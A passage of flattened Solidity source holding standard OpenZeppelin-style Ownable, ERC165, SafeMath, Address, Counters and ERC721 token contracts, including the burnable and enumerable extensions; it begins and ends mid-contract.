event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public returns (bytes4);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping(uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor() public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal {
_transferFrom(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(
ownerOf(tokenId) == owner,
"ERC721: burn of token that is not own"
);
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address from,
address to,
uint256 tokenId
) internal {
require(
ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This is an internal detail of the `ERC721` contract and its use is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal returns (bool) {
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
to.call(
abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
)
);
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns a specific ERC721 token.
* @param tokenId uint256 id of the ERC721 token to be burned.
*/
function burn(uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721Burnable: caller is not owner nor approved"
);
_burn(tokenId);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor() public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (uint256)
{
require(
index < balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(
index < totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address from,
address to,
uint256 tokenId
) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner)
internal
view
returns (uint256[] storage)
{
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
